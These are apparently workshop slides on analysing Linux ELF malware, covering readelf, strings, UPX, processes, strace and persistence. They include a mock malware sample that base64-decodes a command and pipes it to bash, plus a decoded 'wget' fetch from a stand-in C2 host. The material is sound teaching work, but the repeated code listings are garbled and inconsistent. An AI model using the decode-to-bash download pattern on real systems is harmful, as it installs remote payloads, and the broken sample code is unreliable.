ELF Malware Analysis 101

Nicole Fishbein & Avigayil Mechtinger
Who Are We

Nicole Fishbein
Security researcher | Intezer
@NicoleFishi19
nicole@intezer.com

Avigayil Mechtinger
Product manager | Intezer
@AbbyMCH
avigayil@intezer.com
Agenda

1. Intro to Linux malware
2. Environment preparation
3. Initial analysis
4. Advanced analysis
5. Real-life exercise
6. Summarize
ELF Malware Threat Landscape

2% Desktop

90% Cloud
ELF Malware Threat Landscape

- Backdoors
- Coin Miners
- Botnets
- Ransomware
ELF Malware Threat Landscape
How Does ELF Malware Infect Systems?

1. Vulnerability exploit
2. Misconfiguration
3. Use of valid credentials
4. Supply chain attack

2+
Why Linux Malware is Off the Radar?

Mac OS, you can still install anti-virus software. Check in the software installer or search online; a number of applications are available.
The Threat is Real

Vermilion Strike: Linux and Windows Re-

Rocke Group Actively Targeting the Cloud: Wants Your SSH Keys

Written by Nicole Fishbein - 6 April 2021
Before We Start

1. Linux is used broadly
2. The threat is real and emerging
3. Lack of ELF malware visibility
Environment Preparation

1. Turn on Linux VM
4. Run: `chmod -R u+x workshop/`
5. Run:
   a. `sudo apt-get install upx`
   b. `sudo apt-get install wireshark`
Initial Analysis

What is it?

- Gather information about the sample
- Decide if you should spend more time on a deeper analysis of the sample
ELF Format Static Components

```c
#include <stdio.h>
#include <stdlib.h>

char google_dns_ping[58] = "ping -c 3 -w 2 8.8.8.8";
char some_string[100] = "echo d25ldCBvc2lvbmlkZXM=
bWl0cyBDZXJ0aW9uc3V0Ig==
";

int ping_google_dns(){
    char output[500];
    int lines_counter = 0;
    char path[1055];
    FILE* fp = popen(google_dns_ping, "r");
    while (fgets(path, sizeof(path), fp) != NULL){
        lines_counter++;
    }
    return lines_counter;
}

int main()
{
    int length = ping_google_dns();
    if (length > 5){
        system("apt-get install wget");
        system(some_string);
        return 1;
    }
    printf("Hello world\n");
    return 1;
}
```
**ELF Header**

General data about the binary

- The binary’s entry point
- 32 bit or 64 bit
- The location of the program headers table

```
readelf -h training-sample
```

```
ELF Header:
Magic:    7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:     ELF64
Data:     2's complement, little endian
Version:  1 (current)
OS/ABI:   UNIX - System V
ABI Version:  0
Type:     DYN (Shared object file)
Machine:  Advanced Micro Devices X86-64
```

```
Entry point address: 0x680
Start of program headers: 64 (bytes into file)
Start of section headers: 6928 (bytes into file)
```
Static vs Dynamic Linking

Static linkers build the executable file with the libraries included, whereas dynamic linkers load the libraries at runtime.
Symbols

- What are symbols?
- `.dysym` and `.symtab`

```
readelf -s training-sample
```
```c
#include <stdio.h>
#include <stdlib.h>

char google_dns_ping[50] = "ping -c 3 -w 2 8.8.8.8";
char some_string[100] = "//echo d2d10c8b0d8b070b7e292858b8f675f1eb0b3fd17b9f7327b4a402eb6b82f51104f1b1b07b8eb7d8/e";

int ping_google_dns(){
    char output[500];
    int lines_counter = 0;
    char path[1035];
    FILE* fp = fopen(google_dns_ping, "r");
    while(fgets(path, sizeof(path), fp) != NULL)
        lines_counter++;
    return lines_counter;
}

int main()
{
    int length = ping_google_dns();
    if (length > 5)
        system("apt-get install wget");
    system(some_string);
    return 1;
}

printf("Hello world\n");
return 1;
```
readelf -s training-sample | grep FUNC
Symbols

```c
#include <stdio.h>
#include <stdlib.h>

char google_dns_ping[] = "ping -c 3 -w 2 8.8.8.8";
char some_string[100] = "echo d2olCBdWw0iBvc29tZV5vbnV4aXYpbnndbjmWbLL1jbj2OvbW1fsd2TyZ55hcHA=|base64 -d |bash";

int ping_google_dns(){
    char output[500];
    int lines_counter = 0;
    char path[1035];
    FILE* fp = popen(google_dns_ping,"r");
    while (fgets(path, sizeof(path), fp) != NULL){
        lines_counter++;
    }
    return lines_counter;
}

int main()
{
    int length = ping_google_dns();
    if (length > 5){
        system("apt-get install wget");
        system(some_string);
        return 1;
    }
    printf("Hello world\n");
    return 1;
}
readelf -s training-sample | grep OBJECT

30: 0000000000002010c4  1  OBJECT  LOCAL  DEFAULT  24  completed.7698
31: 000000000000200da0  0  OBJECT  LOCAL  DEFAULT  20  __do_global_dtors_aux_fin
33: 000000000000200d98  0  OBJECT  LOCAL  DEFAULT  19  __frame_dummy_init_array_
36: 00000000000000a74  0  OBJECT  LOCAL  DEFAULT  18  __FRAME_END__
39: 000000000000200da8  0  OBJECT  LOCAL  DEFAULT  21  _DYNAMIC
42: 000000000000200f98  0  OBJECT  LOCAL  DEFAULT  22  __GLOBAL_OFFSET_TABLE__
50: 000000000000201020  50  OBJECT  GLOBAL  DEFAULT  23  google_dns_ping
56: 000000000000201008  0  OBJECT  GLOBAL  HIDDEN  23  __dso_handle
57: 0000000000000008e0  4  OBJECT  GLOBAL  DEFAULT  16  IO_stdin_used
62: 000000000000201060  100  OBJECT  GLOBAL  DEFAULT  23  some_string
65: 0000000000002010c8  0  OBJECT  GLOBAL  HIDDEN  23  __TMC_END__
Segments (Program Headers) and Sections

- **Segments** describe the binary's memory layout and they are necessary for execution.

- **Sections** contain information needed for linktime and are **not** necessary for execution.
### Segments (Program Headers)

```bash
readelf -l training-sample
```

<table>
<thead>
<tr>
<th>Type</th>
<th>Offset</th>
<th>VirtAddr</th>
<th>PhysAddr</th>
<th>FileOff</th>
<th>MemSz</th>
<th>MemOff</th>
<th>Flags</th>
<th>Align</th>
</tr>
</thead>
<tbody>
<tr>
<td>PHDR</td>
<td>0x0000000000000040</td>
<td>0x0000000000000040</td>
<td>0x0000000000000040</td>
<td>0x0000000000000040</td>
<td>0x0000000000000040</td>
<td>0x0000000000000040</td>
<td>R</td>
<td>0x8</td>
</tr>
<tr>
<td>INTERP</td>
<td>0x00000000000001f8</td>
<td>0x00000000000001f8</td>
<td>0x00000000000001f8</td>
<td>0x00000000000001f8</td>
<td>0x00000000000001f8</td>
<td>0x00000000000001f8</td>
<td>R</td>
<td>0x1</td>
</tr>
<tr>
<td>[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

LOAD
- Offset: 0x0000000000000000
- VirtAddr: 0x0000000000000000
- PhysAddr: 0x0000000000000000
- FileOff: 0x0000000000000000
- MemSz: 0x0000000000000000
- MemOff: 0x0000000000000000
- Flags: R E
- Align: 0x200000

LOAD
- Offset: 0x0000000000000000
- VirtAddr: 0x0000000000000000
- PhysAddr: 0x0000000000000000
- FileOff: 0x0000000000000000
- MemSz: 0x0000000000000000
- MemOff: 0x0000000000000000
- Flags: RW
- Align: 0x200000

~~~
Section to Segment mapping:
Segment Sections...
00 .interp
01 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr
02 .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07 .init_array .fini_array .dynamic .got
08 .fini_array .fini_array .dynamic .got
~~~
Segments (Program Headers) and Sections

Packed file segment table:

<table>
<thead>
<tr>
<th>Type</th>
<th>Offset</th>
<th>VirtAddr</th>
<th>PhysAddr</th>
<th>Flags</th>
<th>Align</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOAD</td>
<td>0x0000000000000000</td>
<td>0x0000000000400000</td>
<td>0x0000000000000000</td>
<td>R E</td>
<td>0x20000</td>
</tr>
<tr>
<td>LOAD</td>
<td>0x00000000004b4bb</td>
<td>0x00000000004b4bb</td>
<td>0x0000000000000000</td>
<td>RW</td>
<td>0x1000</td>
</tr>
<tr>
<td>GNU_STACK</td>
<td>0x0000000000000000</td>
<td>0x0000000000000000</td>
<td>0x0000000000000000</td>
<td>RW</td>
<td>0x10</td>
</tr>
</tbody>
</table>
Segments (Program Headers) and Sections

Compiled with Pyinstaller:
Stripped Files

```
objcopy -S training-sample training-sample-stripped
readelf -s training-sample-stripped
```
Questions?
File’s Output

Simply running the file in a VM.
Strings

Classic, basic & highly effective.

- Declared chars
- Symbols & other strings that are related to the file format

strings training-sample > str.txt
Strings - What Will We Look For?

- Network related strings
- Encoded strings (base64, hex)
- Paths
- Commands

```
echo d2dIdCBodHRwOi8vc29tZW5vbmV4aXRpbmdjbmNbLI1jb20vbWFsd2FyZS5hcHA= | base64 -d | bash;
```

base64 decode

```
wget http://somenonexitingcnc[.]com/malware.app
```
Strings Reuse

Example:
Lazarus's ManusCrypt ELF version

Malware Analysis Report (AR20-133A)
MAR-10288834-1.v1 – North Korean Remote Access Tool: COPPERHEDGE

Original release date: May 12, 2020
Code Reuse

**Example:** Rekoobe sample had 0 detections in VirusTotal.
Packers

- What’s a packer?
- Why they are used?
- VMprotect, elfuck, ps2-packer
- Ezuri
- UPX
UPX Pack & Unpack

gcc -static training_sample.c -o training-sample-static

upx -9 training-sample-static -o training-sample-static-packed

readelf -a training-sample-static-packed

Strings training-sample-static-packed | grep upx

upx -d training-sample-static-packed
Questions?
Let's Practice!

LET'S DO THIS!
Initial Analysis Practice

- Is this malicious?
- Has anyone studied it before?
- What it is?

Hints:
- readelf
- upx
- Strings
- Google ;(
Advanced Analysis - Dynamic Analysis

- What it is?
- When to use dynamic analysis?

Static Analysis vs Dynamic Analysis
Advanced Analysis

Important!!

1. Use a VM!

2. Save a clean snapshot before you start the analysis

3. Don’t connect the VPN to your network
   a. Use a VPN
Sandboxes

- Virtual Machines (VMware, VirtualBox) - Local
- Online sandboxes:
  - Hybrid-Analysis – Online
  - Hatching-Triage – Online
  - LiSa – Open-source
Linux Processes

- Every instance of a running program on the system is a process
- Each process has its unique process ID

Commands:
- `ps`
- `top`
Linux Processes - The proc Filesystem

- The “proc” filesystem is a pseudo-filesystem provided by the Linux kernel
- Usually mounted under /proc
Linux Processes - The proc Filesystem

<table>
<thead>
<tr>
<th>Command</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>ping 8.8.8.8</td>
<td>14568</td>
</tr>
<tr>
<td>pidof ping</td>
<td>root</td>
</tr>
<tr>
<td>cd /proc/14568</td>
<td>statm</td>
</tr>
</tbody>
</table>

```
root@ubuntu:~# pidof ping
14568
root@ubuntu:~# cd /proc/14568
root@ubuntu:/proc/14568# ls
arch_status environ mountinfo mounts personality statm
attr mounts mountstats projid_map status
autogroup net
auxv

cgroup

Clear_refs

cmdline

comm

coredump_filter

cpuset

cwd

env

fd

fdinfo

gid_map

io

limits

loginuid

map_files maps

mem

mounts

mountstats

net

ns

numa_maps

oom_adj

oom_score

oom_score_adj

pagemap

patch_state

 personalities

projid_map

root

sched

schedstat

sessionid

setgroups

smaps

smaps_rollup

stack

stat

status

tsys

task

timers

timerslack_ns

uid_map

wchan
```
Linux Processes - Process Tree

- Insights about what is running on a machine
- A single executable can create more than one process on the machine
Linux Processes - Process Tree

Scenarios for process creations:
1. Other process creation
2. Forks
3. Threads
Linux Processes - Process Tree

Other process creation

```c
#include <stdlib.h>

void main()
{
    system("ping 8.8.8.8");
}
```

```
./ping-google-dns
```

```
root@ubuntu:~ # pstree | grep ping-google-dns
             |   |   | -bash---ping-google-dns---sh---ping
```

```bash
ping-google-dns.c
```
Linux Processes - Process Tree

Forks

```
#include <unistd.h>
#include <stdlib.h>

void main() {
    fork();
    system("ping 8.8.8.8");
}
```

./ping-google-dns-fork

```
root@ubuntu:~# pstree | grep ping-google-dns
    |     |  | -bash---ping-google-dns+-ping-google-dns---sh---ping
root@ubuntu:~# pidof ping-google-dns
15223 15222
```
Linux Processes - Process Tree

#include <stdlib.h>
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>

pthread_t tid[3];

void* print_something(void *arg){
    printf("Threading...
");
sleep(120);
    return NULL;
}

void main()
{
    int i=0;
    int err;
    while( i < 3)

    thread_create(&(tid[i]), NULL,&print_something,NULL);
    i++;

    ./print-something

root@ubuntu:~ # pstree | grep print-something
    /bash...sudo...su...bash...print-something...3*[\{print-something\}]

root@ubuntu:~ # pidof print-something
15176
Syscalls (System Calls)

Syscalls are the interface used by the application to request services from the kernel.

- **open/openat** – open and possibly create a file.
- **read** – read from a file descriptor.
- **access** – check user’s permissions for a file.
- **write** – write to a file descriptor.
- **mkdir/mkdirat** – make directories.
- **connect** – initiate a connection on a socket.
- **socket** – create an endpoint for communication.
- **execve** – execute program
Syscalls (System Calls)

```
root@ubuntu:~# strace -o out.txt ./trace-me
What just happened??
```

cat out.txt

```
mkdir("/tmp/.tomato", 0700) = 0
brk(NULL) = 0x55eb8155e000
brk(0x55eb8157f000) = 0x55eb8157f000
openat(AT_FDCWD, "/tmp/.tomato/answer.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(3, "I Was created!!!!", 17) = 17
close(3) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
write(1, "What just happened??\n", 21)What just happened??
) = 21
exit_group(0)
++ exited with 0 ++
```
Questions?
Persistence Methods

Why threat actors want to achieve persistence?

Methods to get persistence:

- cron
- Services
- Loadable Kernel Modules (LKM)
- Hijack Execution Flow
Network Sniffing

- Why you should monitor the network?
- How?
  - tcpdump
  - Wireshark
  - InetSim
Questions?
Advanced Analysis

- **Tools:**
  - IDA
  - R2
  - Ghidra

- **The flow**
  - Strings
  - Imports and Exports
  - System calls
  - Functions
Let’s Practice!

LET'S DO THIS!
Dynamic Analysis - Exercise

- Is it malicious?
- What changes does it do on the system?
- Does it try to connect to a C2?
- How should I kill this?

Hints:
- Strings
- Wireshark (sudo apt-get install wireshark)
- strace
What Have We Learned?

- Linux threats are **real**
- ELF file format
- Basic Linux infrastructure
- Tools for ELF analysis
- Methodologies for ELF analysis
Thank You!


Nicole Fishbein  @NicoleFish19
Avigayil Mechtinger  @AbbyMCH